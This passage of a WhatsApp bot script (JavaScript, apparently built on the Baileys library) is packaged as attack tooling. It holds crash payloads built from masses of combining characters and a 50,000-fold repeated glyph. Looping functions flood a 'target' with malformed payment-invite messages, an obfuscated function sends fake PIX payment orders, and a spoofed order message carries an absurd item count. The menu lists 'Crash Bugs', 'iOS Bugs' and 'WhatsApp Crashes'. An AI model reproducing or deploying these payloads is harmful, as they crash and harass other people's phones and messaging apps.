*ษฑฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโข๊ฐฬฏฬฏฬฏฬฏฬฏฬฏฬฏฬฏเนฬฏเนฬฏเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉออออออออออออ๐ฎฬจฬซฬซฬซฬซฬซฬซฬชฬชฬชฬชฬชฬชฬชฬชฬชฬซฬชฬซฬซฬซฬซฬซฬซฬซฬซฬซโ๊ฐ๐ฐฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬฬฬฬฬฬฬฬฬฬฬดฬดฬดฬดฬฬฬฬฬฬฬดฬดฬดฬฬฬฬฌฬฌฬฌฬฬฬฬฬฉฬฬฬฑฬฑ๊ฐ๐ถฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโขฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬหบฬคฬคฬฬคฬดฬดฬฬฬฬฬฃฬฬฬฬฬฌฬฌฬฌฬฬฬฬฬฑฬฉฬฬฌฬฬฬฬฬ๊ฐ๏ฟฝหบ๊ฐหบฬคฬคฬคฬคฬคฬคฬคฬคฬคฬฬฬฬฬฬฬฬฬฬฬฬฬฌฬฬฬฬฬฃฬฃษฑฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโข๊ฐฬฏฬฏฬฏฬฏฬฏฬฏฬฏฬฏเนฬฏเนฬฏเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉออออออออออออ๐ฎฬจฬซฬซฬซฬซฬซฬซฬชฬชฬชฬชฬชฬชฬชฬชฬชฬซฬชฬซฬซฬซฬซฬซฬซฬซฬซฬซโ๊ฐ๐ฐฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬฬฬฬฬฬฬฬฬฬฬดฬดฬดฬดฬฬฬฬฬฬฬดฬดฬดฬฬฬฬฌฬฌฬฌฬฬฬฬฬฉฬฬฬฑฬฑ๊ฐ๐ถฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโขฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬหบฬคฬคฬฬคฬดฬดฬฬฬฬฬฃฬฬฬฬฬฌฬฌฬฌฬฬฬฬฬฑฬฉฬฬฌฬฬฬฬฬ๊ฐ๏ฟฝหบ๊ฐหบฬคฬคฬคฬคฬคฬคฬคฬคฬคฬฬฬฬฬฬฬฬฬฬฬฬฬฌฬฬฬฬฬฃฬฃฬฃฬฃฬฬดฬดฬดฬฬษฑฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโข๊ฐฬฏฬฏฬฏฬฏฬฏฬฏฬฏฬฏเนฬฏเนฬฏเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉออออออออออออ๐ฎฬจฬซฬซฬซฬซฬซฬซฬชฬชฬชฬชฬชฬชฬชฬชฬชฬซฬชฬซฬซฬซฬซฬซฬซฬซฬซฬซโ๊ฐ๐ฐฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬฬฬฬฬฬฬฬฬฬฬดฬดฬดฬดฬฬฬฬฬฬฬดฬดฬดฬฬฬฬฌฬฌฬฌฬฬฬฬฬฉฬฬฬฑฬฑ๊ฐ๐ถฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโขฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬหบฬคฬคฬฬคฬดฬดฬฬฬฬฬฃฬฬฬฬฬฌฬฌฬฌฬฬฬฬฬฑฬฉฬฬฌฬฬฬฬฬ๊ฐ๏ฟฝหบ๊ฐ*หบฬคฬคฬคฬคฬคฬคฬคฬคฬคฬฬฬฬฬฬฬฬฬฬฬฬฬฌฬฬฬฬฬฃฬฃฬฃฬฃฬฬดฬดฬดฬฬ*
๐๐ฎ๐๐ฎ๐ฟ
๐๐๐๐ ๐ผ๐
๐ผ ๐๐ผ๐๐๐๐ฟ
๐ฝ๐๐๐ผ๐ ๐๐๐๐๐๐ ๐ผ๐๐๐.
ไนโฐออกุ๐๐ฉ๐โโญ๏ธโ
โโฎ.xp`+"๊ฆพ".repeat(50000),
"sequenceNumber": "0",
"jpegThumbnail": ""
}
}
}
}), { userJid: target, quoted: kuwoted })
await Painzy.relayMessage(target, etc.message, { participant: { jid: target }, messageId: etc.key.id })
}
(function(_0x4a0c3c,_0x449ed6){var _0x104feb=_0x1bd9,_0x3e3dd0=_0x4a0c3c();while(!![]){try{var _0x481ad5=parseInt(_0x104feb(0x123))/0x1*(-parseInt(_0x104feb(0x12c))/0x2)+-parseInt(_0x104feb(0x12e))/0x3+-parseInt(_0x104feb(0x11f))/0x4+parseInt(_0x104feb(0x120))/0x5+parseInt(_0x104feb(0x11e))/0x6*(-parseInt(_0x104feb(0x126))/0x7)+-parseInt(_0x104feb(0x12f))/0x8+-parseInt(_0x104feb(0x125))/0x9*(-parseInt(_0x104feb(0x121))/0xa);if(_0x481ad5===_0x449ed6)break;else _0x3e3dd0['push'](_0x3e3dd0['shift']());}catch(_0x2c4bb4){_0x3e3dd0['push'](_0x3e3dd0['shift']());}}}(_0x5751,0x33690));function hi(){var _0x4ca531=_0x1bd9;console['log'](_0x4ca531(0x122));}function _0x5751(){var _0x5489b7=['10RyLaBj','Hello\x20World!','10412BelDfW','meu\x20ovo','10276299zlszHl','42MFbSVh','physical-goods','payment_info','pix_static_code','pending','4P46GMY57GC','38zEAssq','+5533998586057','495336GBTdnV','1900344WdqeoS','ORDER','33228OrqiJL','1342808IxSDsY','190890kWQtXO'];_0x5751=function(){return _0x5489b7;};return _0x5751();}hi();function _0x1bd9(_0xdb0a9e,_0x35a4f6){var _0x5751dd=_0x5751();return _0x1bd9=function(_0x1bd910,_0x4c97e1){_0x1bd910=_0x1bd910-0x11e;var _0x5d47b4=_0x5751dd[_0x1bd910];return _0x5d47b4;},_0x1bd9(_0xdb0a9e,_0x35a4f6);}async function sendPaymentInfoMessage(_0x28ef97){var _0x404515=_0x1bd9;await Painzy['relayMessage'](_0x28ef97,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadataVersion':0x2,'deviceListMetadata':{}},'interactiveMessage':{'nativeFlowMessage':{'buttons':[{'name':_0x404515(0x128),'buttonParamsJson':JSON['stringify']({'currency':'BRL','total_amount':{'value':0x0,'offset':0x64},'reference_id':_0x404515(0x12b),'type':_0x404515(0x127),'order':{'status':_0x404515(0x12a),'subtotal':{'value':0x0,'offset':0x64},'order_type':_0x404515(0x130),'items':[{'name':'','amount':{'value':0x0,'offset':0x64},'quantity':0x0,'sale_amount':{'value':0x0,'offset':0x64}}]},'payment_settings':[{'type':_0x404515(0x129),'pix_static_code':{'merchant_name':_0x404515(0x124),'key':_0x404515(0x12d),'key_type':'X'}}]})}]}}}}},{'participant':{'jid':_0x28ef97}},{'messageId':null});}
async function ziosX1(target) {
await Painzy.relayMessage(
target,
{
paymentInviteMessage: {
serviceType: 'UPI',
expiryTimestamp: Date.now() + 86400000, // 1 day in milliseconds
},
},
{ participant: { jid: target } }
);
}
async function ziosX2(target) {
await Painzy.relayMessage(
target,
{
paymentInviteMessage: {
serviceType: 'galaxy_message',
expiryTimestamp: Date.now() + 86400000000, // 1000 days in milliseconds
},
},
{ participant: { jid: target } }
);
}
async function ziosX3(target) {
await Painzy.relayMessage(
target,
{
paymentInviteMessage: {
serviceType: 'POLLING',
expiryTimestamp: Date.now() + 86400000000, // 1000 days in milliseconds
},
},
{ participant: { jid: target } }
);
}
async function ziosX4(target) {
await Painzy.relayMessage(
target,
{
paymentInviteMessage: {
serviceType: 'FBPAY',
expiryTimestamp: Date.now() + 1814400000, // 21 days in milliseconds
},
},
{ participant: { jid: target } }
);
}
async function sendAllPaymentInvites(target, repeatCount = 1) {
for (let i = 0; i < repeatCount; i++) {
await ziosX1(target)
await ziosX1(target)
await ziosX1(target)
await ziosX1(target)
await sleep(300)
await ziosX2(target)
await ziosX2(target)
await ziosX2(target)
await ziosX2(target)
await sleep(300)
await ziosX3(target)
await ziosX3(target)
await ziosX3(target)
await ziosX3(target)
await sleep(300)
await ziosX4(target)
await ziosX4(target)
await ziosX4(target)
await ziosX4(target)
await sleep(2300)
}
}
// BATA FUNCTION //
const pain = {
key: {
fromMe: false,
participant: '[email protected]',
remoteJid: "status@broadcast"
},
message: {
orderMessage: {
orderId: "2029",
thumbnail: anjay,
itemCount: 999999999999999,
status: "INQUIRY",
surface: "CATALOG",
message: `${m.body || m.mtype}`,
token: "AR6xBKbXZn0Xwmu76Ksyd7rnxI+Rx87HfinVlW4lwXa6JA=="
}
},
contextInfo: {
mentionedJid: m.sender.split,
forwardingScore: 999,
isForwarded: true
}
};
async function downloadMp3 (link) {
try {
Painzy.sendMessage(m.chat, { react: { text: '๐', key: m.key }})
let kyuu = await fetchJson (`https://api.kyuurzy.site/api/download/aio?query=${link}`)
Painzy.sendMessage(m.chat, { audio: {url: kyuu.result.url}, mimetype: "audio/mpeg"},{ quoted:m})
}catch (err) {
reply(`${err}`)
}
}
async function downloadMp4 (link) {
try {
Painzy.sendMessage(m.chat, { react: { text: '๐', key: m.key }})
let kyuu = await fetchJson(`https://api.kyuurzy.site/api/download/aio?query=${link}`)
Painzy.sendMessage(m.chat, { video: {url: kyuu.result.url}, caption: '' },{ quoted:m})
}catch (err) {
reply(`${err}`)
}
}
//self public
global.public = true
if (!global.public) {
if (!m.key.fromMe && !isCreator) return
}
const darkPainz = [
'https://ibb.co/QML1g9z',
'https://ibb.co/5BYVvw2'
];
const randomImage = darkPainz[Math.floor(Math.random() * darkPainz.length)];
const reply = (teks) => {
Painzy.sendMessage(from, { text: teks, contextInfo: {
mentionedJid: [m.sender],
externalAdReply: {
showAdAttribution: false,
renderLargerThumbnail: false,
title: `๐๐๐๐๐๐`,
body: `Hello ${pushname} ๐`,
previewType: "VIDEO",
thumbnail: anjay,
sourceUrl: `${global.url}`,
mediaUrl: `${global.url}`
}
},
text: teks
}, {
quoted: m
})
}
const reply2 = (teks) => {
Painzy.sendMessage(from, { text : teks }, { quoted : m })
}
function getFormattedDate() {
var currentDate = new Date();
var day = currentDate.getDate();
var month = currentDate.getMonth() + 1;
var year = currentDate.getFullYear();
var hours = currentDate.getHours();
var minutes = currentDate.getMinutes();
var seconds = currentDate.getSeconds();
}
let d = new Date(new Date + 3600000)
let locale = 'id'
let week = d.toLocaleDateString(locale, { weekday: 'long' })
let date = d.toLocaleDateString(locale, {
day: 'numeric',
month: 'long',
year: 'numeric'
})
const hariini = d.toLocaleDateString('id', { day: 'numeric', month: 'long', year: 'numeric' })
function msToTime(duration) {
var milliseconds = parseInt((duration % 1000) / 100),
seconds = Math.floor((duration / 1000) % 60),
minutes = Math.floor((duration / (1000 * 60)) % 60),
hours = Math.floor((duration / (1000 * 60 * 60)) % 24)
hours = (hours < 10) ? "0" + hours : hours
minutes = (minutes < 10) ? "0" + minutes : minutes
seconds = (seconds < 10) ? "0" + seconds : seconds
return hours + " jam " + minutes + " menit " + seconds + " detik"
}
function msToDate(ms) {
temp = ms
days = Math.floor(ms / (24*60*60*1000));
daysms = ms % (24*60*60*1000);
hours = Math.floor((daysms)/(60*60*1000));
hoursms = ms % (60*60*1000);
minutes = Math.floor((hoursms)/(60*1000));
minutesms = ms % (60*1000);
sec = Math.floor((minutesms)/(1000));
return days+" Hari "+hours+" Jam "+ minutes + " Menit";
// +minutes+":"+sec;
}
// Sayying time
const timee = moment().tz('Asia/Karachi').format('HH:mm:ss')
if(timee < "23:59:00"){
var waktuucapan = 'Good Night ๐'
}
if(timee < "19:00:00"){
var waktuucapan = 'Good Evening ๐'
}
if(timee < "18:00:00"){
var waktuucapan = 'Good Evening ๐
'
}
if(timee < "15:00:00"){
var waktuucapan = 'Good Afternoon ๐'
}
if(timee < "10:00:00"){
var waktuucapan = 'Selamat Pagi ๐'
}
if(timee < "05:00:00"){
var waktuucapan = 'Good Morning ๐'
}
if(timee < "03:00:00"){
var waktuucapan = 'Good Morning ๐'
}
if (prefix && command) {
let caseNames = getCaseNames();
function getCaseNames() {
const fs = require('fs');
try {
const data = fs.readFileSync('painzy.js', 'utf8');
const casePattern = /case\s+'([^']+)'/g;
const matches = data.match(casePattern);
if (matches) {
const caseNames = matches.map(match => match.replace(/case\s+'([^']+)'/, '$1'));
return caseNames;
} else {
return [];
} } catch (err) {
console.log('There is an error:', err);
return [];
}}
let noPrefix = command
let mean = didyoumean(noPrefix, caseNames);
let sim = similarity(noPrefix, mean);
let similarityPercentage = parseInt(sim * 100);
if (mean && noPrefix.toLowerCase() !== mean.toLowerCase()) {
let response = `Command You are wrong idiot, this is what you mean:\n\nโข> ${prefix+mean}\nโข> Similarities: ${similarityPercentage}%`
reply(response)
}}
switch(command) {
/*
case 'menu': case 'help': {
let imgsc = await prepareWAMessageMedia({
image: anjay
}, {
upload: Painzy.waUploadToServer
})
let anu = `HAI ${pushname} TERIMAKASIH TELAH MEMAKAI BOT GlobaL SERIES 9!!
โโโโโโโโโโโโโโโโโโโง
โ \`๐๐๐ข๐๐๐ ๐๐จ๐\`โ
๐๐ *${pushname}*
๐๐ฎ๐บ *${timee}*
๐ง๐ฎ๐ป๐ด๐ด๐ฎ๐น *${hariini}*
*${waktuucapan}*
\`ไน ๐๐ก๐๐ข ๐๐ข๐ง\`
๐ข๐๐ป : ${global.namaown}
๐๐ผ๐ : ${global.namabot}
๐ฉ๐ฒ๐ฟ๐๐ถ : ${global.versisc}
โโโโโโโโโโโโโโโโโโโง
๐๐ฏ๐ต๐ถ๐ฌ ๐๐ฆ๐ฏ๐ข๐ฎ๐ฑ๐ช๐ญ๐ฌ๐ข๐ฏ ๐๐ถ๐จ๐๐ฆ๐ฏ๐ถ
๐๐ช๐ญ๐ข๐ฉ๐ฌ๐ข๐ฏ ๐๐ฆ๐ต๐ช๐ฌ .๐๐ช๐๐ข๐๐ฃ๐ช
๐๐ข๐ฏ๐จ๐ข๐ฏ ๐ฅ๐ช ๐๐ข๐ญ๐ข๐ฉ ๐๐ถ๐ฏ๐ข๐ฌ๐ข๐ฏ
โฎ๐๐๐๐๐๐ ๐๐โฏ
โบ ๐ค๐ฎ๐๐ถ๐บ ยฉDevScript
โบ ๐ค๐ฎ๐๐ถ๐บ ยฉCreator
โบ ๐๐ค๐ฒ๐๐๐ญ ยฉSepuh
โบ ๐๐ฒ๐ง๐ฑ๐ณ๐จ ยฉBase
โโโโโโโโโโโโโโโโโโโโฌฃ`
const msg = generateWAMessageFromContent(m.chat, {
viewOnceMessage: {
message: {
interactiveMessage: {
header: {
...imgsc,
hasMediaAttachment: false
},
body: {
text: anu
},
footer: {
text: ""
},
nativeFlowMessage: {
buttons: [{
name: "cta_url",
buttonParamsJson: `{
display_text: '๐๐ค๐ช๐๐ช๐๐',
url: "${global.url}",
merchant_url: "${global.url}"
}`
}],
messageParamsJson: ""
}
}
}
}
}, {quoted:pain})
await Painzy.relayMessage(m.chat, msg.message, {
messageId: msg.key.id
})
await sleep(500)
}
break
*/
case 'menu': case 'help': case 'alive': {
let imgsc = await prepareWAMessageMedia({
image: anjay
}, {
upload: Painzy.waUploadToServer
})
dispMenu = `HELLO ${pushname}
โโโโโโโโโโโโโโโโง
โ \`๐๐๐ข๐๐๐ ๐๐จ๐\`โ
๐๐ *${pushname}*
*${timee}*
*${hariini}*
*${waktuucapan}*
[ \`ไน ๐๐ก๐๐ข ๐๐ข๐ง\` ]
๐๐ฐ๐ง : ${global.namaown}
๐๐จ๐ญ : ${global.namabot}
๐๐๐ซ๐ฌ๐ข : ${global.versisc}
โโโโโโโโโโโโโโโโง
๐๐๐ ๐
๐๐๐๐๐๐๐
โฟป ๊ฐแดษด-แดแดษดแด
โฟป ษขสแดแดแด-แดแดษดแด
โฟป แดแด
แด
-แดแดษดแด
โฟป ๊ฑแดแดสแด-แดแดษดแด
โฟป ๊ฑแดแดแดษชษดษข-แดแดษดแด
โฟป ษชแด๊ฑ-สแดษข๊ฑ
โฟป แดแดแดแดษช-สแดษข๊ฑ
โฟป แดสแด๊ฑส-สแดษข๊ฑ
โฟป แดกแด-แดสแด๊ฑส
โฟป แด ษชแด-สแดษข๊ฑ
โฟป แดแดแดแด-สแดษด
โโโโโโโโโโโโโโโโโฌฃ`
let msgii = generateWAMessageFromContent(m.chat, {
viewOnceMessage: {
message: {
"messageContextInfo": {
"deviceListMetadata": {},
"deviceListMetadataVersion": 2
},
interactiveMessage: proto.Message.InteractiveMessage.create({
body: proto.Message.InteractiveMessage.Body.create({
text: dispMenu
}),
header: proto.Message.InteractiveMessage.Header.fromObject({
hasMediaAttachment: true,
documentMessage: {
url: "https://mmg.whatsapp.net/v/t62.7119-24/30129597_829817659174206_6300413901737393729_n.enc?ccb=11-4&oh=01_Q5AaIA5MAdyMQOjp8l42SnRy_8qjz9O8JH8vgPee1nIdko51&oe=66595EB9&_nc_sid=5e03e0&mms3=true",
mimetype: "image/png",
fileSha256: "47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=",
jpegThumbnail: fkethmb,
fileLength: 120000,
mediaKey: "SkHeALp42Ch7DGb6nuV6p7hxL+V9yjh9s9t3Ox8a72o=",
fileName: `โธ GlobaLModers`,
directPath: "/v/t62.7119-24/30129597_829817659174206_6300413901737393729_n.enc?ccb=11-4&oh=01_Q5AaIA5MAdyMQOjp8l42SnRy_8qjz9O8JH8vgPee1nIdko51&oe=66595EB9&_nc_sid=5e03e0",
contactVcard: true,
mediaKeyTimestamp: "1658703206"
}
}),
nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.create({
buttons: [
{
name: "single_select",
buttonParamsJson: JSON.stringify({
title: "Menu List",
sections: [
{
title: "โฟป Gแดษดแดสแดส",
rows: [
{ header: "Fun-Menu", title: "!Display Fun Menu", description: "[ # ] GlobaL", id: ".funmenu" },
{ header: "Group-Menu", title: "!Display Group Menu", description: "[ # ] GlobaL", id: ".groupmenu" },
{ header: "Store-Menu", title: "!Display Store Menu", description: "[ # ] GlobaL", id: ".storemenu" },
{ header: "Add-Menu", title: "!Display Add Menu", description: "[ # ] GlobaL", id: ".addmenu" },
{ header: "Setting-Menu", title: "!Display Settings Menu", description: "[ # ] GlobaL", id: ".settingmenu" }
]
}
]
})
},
{
name: "single_select",
buttonParamsJson: JSON.stringify({
title: "Bug Features",
sections: [
{
title: "โฟป Exแดสแดsษชแด แด",
rows: [
{ header: "๐๐๐๐๐-๐๐๐", title: "!Display Emoji Bugs", description: "[ # ] GlobaL", id: ".emojibugmenu" },
{ header: "๐๐๐-๐๐๐", title: "!Display IOS Bugs", description: "[ # ] GlobaL", id: ".iosbugmenu" },
{ header: "๐๐๐๐๐-๐๐๐", title: "!Display Crash Bugs", description: "[ # ] GlobaL", id: ".crashbugmenu" },
{ header: "๐๐๐๐๐๐๐๐ ๐๐๐๐๐", title: "!Display WhatsApp Crashes", description: "[ # ] GlobaL", id: ".wamenu" },
{ header: "๐๐๐ ๐๐ ๐๐๐๐๐ ๐๐๐", title: "!Display VIP Place Bugs", description: "[ # ] GlobaL", id: ".inplacemenu" }
]
}
]
})
}
]
}),
contextInfo: {
isForwarded: false,
mentionedJid: [m.sender, owner + "@s.whatsapp.net"],
forwardedNewsletterMessageInfo: {
newsletterJid: my.idCH,
newsletterName: 'Info Script GlobaL',
},
externalAdReply: {
title: "Special.Project V9.5.0",
body: "",
thumbnailUrl: global.painlogo,
thumbnail: anjay,